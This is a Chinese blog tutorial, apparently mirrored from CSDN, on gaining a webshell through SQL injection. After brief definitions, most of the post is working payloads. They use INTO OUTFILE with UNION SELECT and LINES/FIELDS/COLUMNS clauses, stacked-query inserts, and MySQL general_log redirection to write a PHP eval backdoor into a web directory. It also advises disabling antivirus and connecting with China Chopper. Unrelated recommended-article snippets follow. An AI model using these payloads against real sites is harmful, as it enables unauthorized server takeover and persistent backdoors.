SQL注入-getshell_一句话木马的博客-程序员秘密

技术标签: database  web安全  shell  网络安全  

目录

一、getshell的含义

1.什么是shell?

2.什么是webshell?

3.什么是getshell

二、大马和小马的比较

三、SQL注入getshell

1.写文件--into outfile

2.union select getshell

3.lines starting getshell

4.fields terminated getshell

5.COLUMNS terminated getshell

6.getshell-数据表getshell

7.getshell-日志getshell


一、getshell的含义

1.什么是shell?

Shell 是一个程序,提供一个用户与操作系统内核连接的环境。这个环境只有一个命令提示符,让用户从键盘输入命令,所以又称为命令行环境。

2.什么是webshell?

WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。

3.什么是getshell

攻击者通过多种漏洞常见如文件上传、SQL注入、命令执行、文件包含、解析漏洞等,将脚本文件上传到Web服务器,并让服务器解析,从而使攻击者能得到一个与服务器进行交互的命令执行环境,进而得以控制服务器。

二、大马和小马的比较

小马(一句话木马) 大马
功能 功能简单,需要配合客户端使用 功能完善,直接使用浏览器即可利用
文件大小 代码量通常在一行左右,不超过10行 代码量通常较大
隐蔽性 强,容易通过变形隐藏特征,绕过过滤 相对较弱,代码量大,通常需要通过加密等方式来隐藏特征。

三、SQL注入getshell

1.写文件--into outfile

前提:

  1. 网站的绝对路径
  2. 没有对引号进行过滤
  3. 文件必须有写的权限

2.union select getshell

payload:1' union select 1,'<?php eval("$_POST[2]")?>',3 into outfile 'd:/phpstudy_pro/www/1.php'--+

注意:需要关闭电脑的病毒检测

使用c刀连接

2.lines terminated by 

        lines terminated by 该语句是设置每行数据结尾的字符,可以设置为单个或多个字符,默认为“/n”;

payload: ?id=1' into outfile 'd:/phpstudy_pro/www/2.php'lines terminated by'<?php eval("$_POST[8]")?>'--+3.

3.lines starting getshell

lines starting getshell该语句为设置每行开头的字符

payload:?id=1' into outfile 'd:/phpstudy_pro/www/3.php'lines starting by'<?php eval("$_POST[8]")?>'--+

4.fields terminated getshell

fields terminated by 设置字段之间的分隔符,默认值是"\t"

payload:?id=1')) into outfile'd:/phpstudy_pro/www/4.php' fields terminated by '<?php eval("$_POST[8]")?>'--+

5.COLUMNS terminated getshell

COLUMNS terminated by 设置字段之间的分隔符,默认值是"\t"

payload:?id=1')) into outfile'd:/phpstudy_pro/www/6.php' COLUMNS terminated by'<?php eval("$_POST[4]")?>'--+

6.getshell-数据表getshell

前提:需要将shell内容插入数据表中,在将表内容写成可执行文件,所以要想利用它getshell,一般数据库有堆叠注入或phpmyadmin或有一个数据库的基本权限才能getshell。

payload:id=1';insert into users(username,password) values('<?php eval("','$_POST[2]")?>')--+

7.getshell-日志getshell

7.1 开启全局日志配置

payload:?id=1';set global general_log = on;--+

7.2设置日志路径(webshell路径)

id=1';set global general_log_file = 'd:/phpStudy_pro/WWW/8.php';--+

7.3写入木马病毒

id=1';select '<?php eval("$_POST[2]")?>';--+

payload:

 

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/LJH1999ZN/article/details/122951715

智能推荐

MVC框架_weixin_30569153的博客-程序员秘密

MVC框架浅析(基于PHP) MVC全名是Model View Controller,是模型(model)-视图(view)-控制器(controller)的缩写,一种软件设计典范,用一种业务逻辑、数据、界面显示分离的方法组织代码,将业务逻辑聚集到一个部件里面,在改进和个性化定制界面及用户交互的同时,不需要重新编写业务逻辑。MVC被独特的发展起来用于映射传统的输入、处理和输出功能在一个...

linux oracle DISPLAY 安装界面解决方案_河南骏的博客-程序员秘密

Checking monitor: must be configured to display at least 256colors >>> Could not execute auto check for display colorsusing command /usr/openwin/bin/xdpyinfo. Check if the DISPLAYvariable is set. Fail

提高生活、学习、工作效率的方法——时间管理Vs个人管理_紫竹风的博客-程序员秘密

首先,我想对于大家来说,时间管理这个词应该并不陌生。不过,在开会之前,又有几个知道呢?反正我当时并不知道。这就需要反思了。不过这里,先不做反思,先说说时间管理。初次接触到这个词,我想的是:为什么要管理?怎样进行时间管理?该怎么管理?随后,米老师就一一进行了解答。当然,课下也作为了一项作业。让大家回去好好查查,并按自己的情况安排自己的时间管理。然而,并不是只有时间管理这个词,另外一个,更适合我们

Android_照相机Camera_调用系统照相机返回data为空_zimo_2013的博客-程序员秘密

于是我查看了Android系统框架Camera应用程序,找到了关于系统照相机如何处理返回值data问题!默认情况下,即不需要指定intent.putExtra(MediaStore.EXTRA_OUTPUT, uri);照相机有自己默认的存储路径,拍摄的照片将返回一个缩略图。如果想访问原始图片,可以通过dat extra能够得到原始图片位置。即,如果指定了目标uri,data就没有数据,如果没有指定uri,则data就返回有数据!现在想想,这种设计还是很合理的!

HTML5的SVG画个五角星_svg画五角星_莉兹Liz的博客-程序员秘密

使用HTML5的SVG画个五角星,W3C SVG 五角星改的。&lt;!DOCTYPE html&gt;&lt;html lang="en"&gt;&lt;head&gt; &lt;meta charset="UTF-8"&gt; &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt; &lt;title&gt;Document&lt;/title&gt;&lt;/head&gt

Spring cloud stream 3.1 rocketmq踩坑记录_rocketmq type must be one of supplier, function or_MY1024-的博客-程序员秘密

spring cloud stream 新绑定方式新版spring cloud stream文档新版提倡用函数式进行发送和消费信息定义返回类型为Supplier, Function or Consumer的bean提供消息发送和消费的bean看看绑定名称命名规则input - + -in- + output - + -out- + 在配置文件中指定spring.cloud.function.definition的名称后会把这个bean绑定到对应的消费者和提供者上.如下定义 会把bea

随便推点

Java 中如何格式化一个日期?如格式化为 ddMMyyyy 的形式_ddmmyyyy日期怎么填写_弗兰随风小欢的博客-程序员秘密

今天楼主继续分享一道Java面试题:  Java 中如何格式化一个日期?如格式化为 ddMMyyyy 的形式? Java 中,可以使用 SimpleDateFormat 类或者 joda-time 库来格式日期。DateFormat 类允许你使用多种流行的格式来格式化日期。参见答案中的  示例代码,代码中演示了将日期格式化成不同的格式,如 dd-MM-yyyy 或 ddMMyyyy。 

HashMap底层原理——储存键值对底层原理_hashmap键值对存储原理_拎着木桶打饭的博客-程序员秘密

HashMap底层是由哈希表实现的,是非常重要的数据结构,哈希表的基本结构就是“数组+链表”。1:数组:占用空间连续,寻址容易,查询速度快,但是,增加和删除效率非诚低2:链表:占用空间不连续,寻址困难,查询速度慢,但是,增加和删除效率非常高。HashMap 刚好结合了数组和链表的优点HashMap 底层是由多个Entry节点对象组成(JDK1.6)/  多个Node节点组成(1.8...

我下载一首手机玲声的过程。。。。。。/_diedangxiang4092的博客-程序员秘密

昨天舍友叫我帮他下载一首彩玲的过程1、从网上输入手机号之后,手机收到“你点播的[有没有人告诉你]已从系统缓存,回复2下载到手机。2、我回复2之后又来了一条短信提示。“回复21高潮通用版手机,回复22超长版高端手机”3、我回复21后又来了一条短信提示。“回复21诺基亚,回复22摩托罗拉..."。4、我回复21后又来了一条短信提示。“回复21诺基亚3系统,回复22诺基亚6系列...”。5...

戴尔服务器的性能,解析戴尔12G服务器主要性能提升和改进_雷宗扬的博客-程序员秘密

解析戴尔12G服务器主要性能提升和改进http://www.enet.com.cn/enews/ 2012年08月06日18:01 来源:IT168【文章摘要】基于英特尔E5处理器家族的戴尔12G服务器已经全部面市,上一篇中我们已经对戴尔新一代12G服务器产品的型号和规格进行了介绍。对于用户而言,戴尔全新12G服务器在性能方面的表现恐怕是最关心的问题,那么与上一代产品相比,戴尔全新12G服务器有哪...

NIO?BIO?和多路复用有啥联系?_多路复用和nio有什么关系_Linux资源站的博客-程序员秘密

导读 阿粉第一次了解到io相关知识是在网上看面经的时候,平时只会写业务代码,面对bio,nio,多路复用器这些概念简直是一头雾水。 BIOBIO即为阻塞IO的意思,通常我们讲BIO的时候都会和服务器模型配合着讲,在实际应用中讲会更好理解。大家看下面的代码,估计在大家初学java网络编程的时候用的都是这个模型:public static void main(String[] args) throws Exception { //建立socket,socket是客户端和服务器沟

某模范宅男宿舍鉴赏_weixin_34336526的博客-程序员秘密

转载于:https://www.cnblogs.com/javabluesky/archive/2008/12/13/2211719.html

推荐文章

热门文章

相关标签